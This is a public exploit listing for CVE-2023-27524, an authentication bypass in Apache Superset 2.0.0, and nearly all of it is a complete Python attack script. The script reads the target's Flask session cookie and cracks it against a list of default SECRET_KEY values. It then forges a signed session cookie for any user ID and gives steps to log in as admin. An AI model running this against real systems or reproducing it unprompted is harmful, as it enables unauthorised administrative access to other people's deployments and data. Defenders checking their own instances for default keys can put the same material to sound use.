Exploit for Apache Superset 2.0.0 Authentication Bypass CVE-2023-27524

## https://sploitus.com/exploit?id=PACKETSTORM:172522
# Exploit Title: Apache Superset 2.0.0 - Authentication Bypass  
# Date: 10 May 2023  
# Exploit Author: MaanVader  
# Vendor Homepage: https://superset.apache.org/  
# Version: Apache Superset<= 2.0.1  
# Tested on: 2.0.0  
# CVE: CVE-2023-27524  
  
from flask_unsign import session  
import requests  
import urllib3  
import argparse  
import re  
from time import sleep  
from selenium import webdriver  
from urllib.parse import urlparse  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
  
SECRET_KEYS = [  
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1  
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1  
b'thisISaSECRET_1234', # deployment template  
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation  
b'TEST_NON_DEV_SECRET' # docker compose  
]  
  
def main():  
  
parser = argparse.ArgumentParser()  
parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)  
parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')  
args = parser.parse_args()  
  
try:  
u = args.url.rstrip('/') + '/login/'  
  
headers = {  
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'  
}  
  
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)  
if resp.status_code != 200:  
print(f'Error retrieving login page at {u}, status code: {resp.status_code}')  
return  
  
session_cookie = None  
for c in resp.cookies:  
if c.name == 'session':  
session_cookie = c.value  
break  
  
if not session_cookie:  
print('Error: No session cookie found')  
return  
  
print(f'Got session cookie: {session_cookie}')  
  
try:  
decoded = session.decode(session_cookie)  
print(f'Decoded session cookie: {decoded}')  
except:  
print('Error: Not a Flask session cookie')  
return  
  
match = re.search(r'"version_string": "(.*?)&#34', resp.text)  
if match:  
version = match.group(1)  
else:  
version = 'Unknown'  
  
print(f'Superset Version: {version}')  
  
  
for i, k in enumerate(SECRET_KEYS):  
cracked = session.verify(session_cookie, k)  
if cracked:  
break  
  
if not cracked:  
print('Failed to crack session cookie')  
return  
  
print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')  
  
try:  
user_id = int(args.id)  
except:  
user_id = args.id  
  
forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)  
print(f'Forged session cookie for user {user_id}: {forged_cookie}')  
u1 = args.url.rstrip('/') + '/superset/welcome'  
  
print(f"Now visit the url: `{u1}` and replace the current session cookie with this `{forged_cookie}` and refresh the page and we will be logged in as admin to the dashboard:)")  
  
  
  
  
except Exception as e:  
print(f'Unexpected error: {e}')  
  
  
if __name__ == '__main__':  
main()